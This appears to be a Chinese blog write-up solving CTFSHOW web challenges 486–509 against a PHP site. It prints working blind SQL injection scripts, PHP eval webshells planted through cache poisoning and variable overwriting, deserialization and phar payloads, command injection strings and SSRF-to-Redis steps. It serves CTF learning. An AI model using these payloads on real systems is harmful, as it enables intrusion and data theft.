CTFSHOW中期测评486-509(持续更新中)

web486

扫描后台发现flag.php,根据url发现存在文件包含,templates/xxx.php
所以只需要action=…/flag即可
payload:
index.php?action=../flag

web487

通过action=…/index得到sql语句
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
很明显的sql注入

import requests
import string
url="http://2e8521c5-5495-4791-8e10-6b4351dac62e.challenge.ctf.show:8080/index.php?action=check&username=admin1&password=1') or "
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,40):
	print(i)
	for j in s:
		#data="if((select substr(group_concat(table_name),{0},1) from information_schema.tables where table_schema=database())='{1}',1,0)%23".format(i,j)
		#data="if((select substr(group_concat(column_name),{0},1) from information_schema.columns where table_name='flag')='{1}',1,0)%23".format(i,j)
		data="if((select substr(flag,{0},1) from flag )='{1}',1,0)%23".format(i,j)
		u=url+data
		#print(u)
		r=requests.get(u)
		if "admin" in r.text:
			flag+=j
			print(flag)
			break	

web488

关键代码
action=…/index

if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error',array('username'=>$username));
	}

action=…/render/render_class


class templateUtil {
	public static function render($template,$arg=array()){
		if(cache::cache_exists($template)){
			echo cache::get_cache($template);
		}else{
			$templateContent=fileUtil::read('templates/'.$template.'.php');
			$cache=templateUtil::shade($templateContent,$arg);
			cache::create_cache($template,$cache);
			echo $cache;
		}
	}
	public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

}

?action=…/render/cache_class

class cache{
	public static function create_cache($template,$content){
		if(file_exists('cache/'.md5($template).'.php')){
			return true;
		}else{
			fileUtil::write('cache/'.md5($template).'.php',$content);
		}
	}
	public static function get_cache($template){
		return fileUtil::read('cache/'.md5($template).'.php');
	}
	public static function cache_exists($template){
		return file_exists('cache/'.md5($template).'.php');
	}

}

原来的sql注入已经不能用了,但是这次稍微改了一些地方,浏览一遍代码会发现唯一有用的只有一个file_put_contents函数,而调用这个函数的地方只有一处
fileUtil::write('cache/'.md5($template).'.php',$content);,我们所关注的就是$content是什么了。
看下调用create_cache的地方

$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);

也就是说$cache就是上面提到的$content,我们再来看下shade函数

public static  function shade($templateContent,$arg){
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
		}
		return $templateContent;
	}

第一个参数的来源$templateContent=fileUtil::read('templates/'.$template.'.php');
那么我们只需要找哪个页面里面有{{username}},经过测试发现/template/error.php满足,然后shade函数会将{{username}}替换成我们登录时传的用户名。最终将文件写入cahce/MD5(error).php。
所以我们只需要登陆时将用户名改成一句话,然后再去访问/cache/md5(error).php就可以了
palyoad
index.php?action=check&username=<?php eval($_POST[1]);?>&password=123
然后访问
cache/cb5e100e5a9a3e7f6d1fd97512215282.php就可以使用写的一句话了。
代码调用顺序
index.php

templateUtil::render('error',array('username'=>$username));

->
ender/render_class.php

else{
			$templateContent=fileUtil::read('templates/'.$template.'.php'); //$templateContent={{usenrame}}
			$cache=templateUtil::shade($templateContent,$arg);   		 //$cache=传过去的用户名
			cache::create_cache($template,$cache);						//向/cache/md5(error).php 写入用户名
			echo $cache;
		}

web489

估计是非预期解。
通过extract变量覆盖掉$sql就能执行sql语句了,因为比较慢所以直接从ctfshow{后面开始跑,让s小一点。(可能会有出入,建议多跑几次)
payload

import requests
url="http://e01d42ab-f4d9-4c1a-a320-9c516b190af0.challenge.ctf.show:8080/index.php?action=check&sql=select "
s="abcdef0123456789-}"
flag=""
for i in range(9,45):
	print(i)
	for j in s:
		u=url+"if(substr((select load_file('/flag')),{0},1)='{1}',sleep(3),1)".format(i,j)
		try:
			requests.get(u,timeout=(2.5,2.5))
		except:
			flag+=j
			print(flag)
			break

web490

关键代码
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";可以构造sql语句,类似于上面的487题,
payload

?action=check&username=' union select '`cat /f*`'%23

然后访问

/cache/6a992d5529f459a44fee58c733255e86.php  (其实就是index的md5)

web491

sql盲注

import requests
import time
import string
url="http://42a7d1c2-18ce-4c3e-92b6-c49925e7de37.challenge.ctf.show:8080/index.php?action=check&username=' union select "
s="012345679abcdef-"
flag=""
import time
for i in range(9,45):
		print(i)
		for j in s:
			u=url+" if(substr((select load_file('/flag')),{0},1)='{1}',sleep(20),1)%23".format(i,j)
			time1=time.time()
			requests.get(u)
			time2=time.time()
			if((time2-time1)>10):
				flag+=j
				print(flag)
				break

多跑几次
跑出来在把ctfshow{}填上

web492

关键代码

if(preg_match('/^[A-Za-z0-9]+$/', $username)){
		$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
		$user=db::select_one_array($sql);
	}
	if($user){
		templateUtil::render('index',$user);
	}else{
		templateUtil::render('error');
	}

因为$username只能用数字字母了,所以sql注入的可能性就很小了。
但是往下看templateUtil::render('index',\$user);
如果我们能够进入这个里面,并且使得$user可控,就和前面的写入cache差不多了.
我们看到 $user是正则匹配以后赋的值,只要不进那个if是不是我们就可以通过变量覆盖给user赋值了。
那么怎么跳过$user=db::select_one_array($sql);可以想到给username传数组的话,就饶过了正则表达式。
payload
action=check&username[]=1&password=123&user[username]=<?php eval($_POST[1]);?>
然后访问
/cache/6a992d5529f459a44fee58c733255e86.php

web493

反序列化漏洞

class dbLog{
	public $sql;
	public $content="<?php system('cat /f*');?>";
	public $log='1.php';
}
$a=new dbLog();
echo serialize($a);

访问/index.php然后bp抓包,修改cookie
CTFSHOW中期测评486-509(持续更新中)
别忘了url编码一下。
然后访问/1.php就能看到flag了。

web494、495

方法同上

```php
class dbLog{
	public $sql;
	public $content="<?php eval(\$POST[1]);?>";
	public $log;

	public function __construct(){
		$this->log='1.php';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}
$a=new dbLog();
echo serialize($a);

把写的内容换成一句话木马。
之后用蚁剑连接,添加数据库。
CTFSHOW中期测评486-509(持续更新中)
flag在数据库中,查询下就可以了。
CTFSHOW中期测评486-509(持续更新中)

web496

通过万能密码可以进入系统,在基本资料里面可以看到更改密码的地方
CTFSHOW中期测评486-509(持续更新中)
查看网页源代码发现新页面
CTFSHOW中期测评486-509(持续更新中)
查看访问该页面的源码
action=../api/admin_edit
主要内容如下

if($user){
	extract($_POST);
	$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

$user['username']$nickname都是我们可控的,直接update布尔盲注
payload

import requests
import time
import string
url="http://5b74b859-d61a-4ed3-b823-12f48486ff6d.challenge.ctf.show:8080"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"1'||1#","password":1})
flag=""
for i in range(9,70):
        print(i)
        for j in s:
            data={
            'nickname':str(i*2)+str(j), #不让nickname重复就行
            #'user[username]':"1'||if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
            #'user[username]':"1'||if(substr((select  group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
            'user[username]':"1'||if(substr((select  flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)

            }
            r=sess.post(url+"/api/admin_edit.php",data=data)
            if("u529f" in r.text):
                flag+=j
                print(flag)
                break

web497

先利用万能密码登陆进去
username=1' ||1%23&password=123在…/render/render_class.php
存在ssrf漏洞,利用file直接读flag即可
CTFSHOW中期测评486-509(持续更新中)
修改后查看源代码就能得到flag的base64编码,解码即可。

web498

类似于497,但是这次用的ssrf打redis。
首先万能密码登录进去后修改图片地址为dict://127.0.0.1:6379,查看源代码,发现是有内容的,也就是6379端口是开着的。
直接利用gopherus生成poc就可以了。
CTFSHOW中期测评486-509(持续更新中)
然后打过去,访问/shell.php就可以了。

web499

万能密码进入后台界面,多了一个系统配置的功能
CTFSHOW中期测评486-509(持续更新中)
查看源代码得到一个新的页面
CTFSHOW中期测评486-509(持续更新中)

关键点就在?action=../api/admin_settings

if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
	$ret['msg']='管理员信息修改成功';
	die(json_encode($ret));

}

里面有一个写文件的功能,但是config我们是可以修改的,只要随便传一个就可以了
CTFSHOW中期测评486-509(持续更新中)
生成的一句话木马在/config/settings.php

web500

又多出来一个新页面
CTFSHOW中期测评486-509(持续更新中)
action=../api/admin_db_backup
查看源码

if($user){
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);


	if(file_exists(__DIR__.'/../backup/'.$db_path)){
		$ret['msg']='数据库备份成功';
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}

直接变量覆盖执行系统命令
payload
db_path=;cp /f* /var/www/html/a.txt
访问/a.txt得到flag

web501

payload

db_format=tar; echo `cat /f*`> /var/www/html/a.php

然后访问/a.php

web502

payload

db_format=tar&pre=ls;echo `cat /f*` > /var/www/html/a.php;

web503

phar反序列化漏洞
首先通过上传logo功能上传phar文件,
phar文件生成代码

<?php 
class dbLog{
	public $sql;
	public $content="<?php eval(\$_POST[1]);?>";
	public $log="a.php";
}

$c=new dbLog();

$phar = new Phar("aaa.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();

?>

CTFSHOW中期测评486-509(持续更新中)

phar可以通过file_exits触发。
而且file_exits中的内容我们完全可控。
上传完phar之后访问http://eff58d62-cf51-456d-959a-21ce71172f43.challenge.ctf.show:8080/api/admin_db_backup.php
post内容(我上传的是aaa.phar所以里面的md5是aaa.phar的)
pre=phar:///var/www/html/img&db_format=/c54c75d1d14d4d656f5c33d25b3bfbaa.phar
接着访问a.php就可以了

web505

api/admin_file_view.php页面存在include函数

if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}

我们只要文件的内容是以user开头的就可以调用include。
所以只要通过新增模板功能上传一个user开头的一句话木马就可以了。
首先上传文件
CTFSHOW中期测评486-509(持续更新中)
然后触发include.
访问api/admin_file_view.php
post内容
debug=1&f=/var/www/html/templates/c.sml&1=system('cat /f*');

web506

上传的文件名改成jpg就可以了,其他的一样

web507

利用data伪协议

echo file_get_contents("data://text/plain,user<?php eval(\$_POST[1]);?>");

得出的结果是user<?php eval($_POST[1]);?>

web508

用上传logo的方法上传文件,文件内容user<?php eval($_POST[1]);?>
其他步骤同上

web509

用上传logo的方法上传文件,文件内容为

user<?=`cat f/*`?>

上传成功后文件在img/md5(完整文件名).文件后缀
post内容
访问api/admin_db_backup.php
post内容

debug=1&f=/var/www/html/img/上传的文件名
上一篇:CTFSHOW xss篇


下一篇:ctfshow web入门 序列化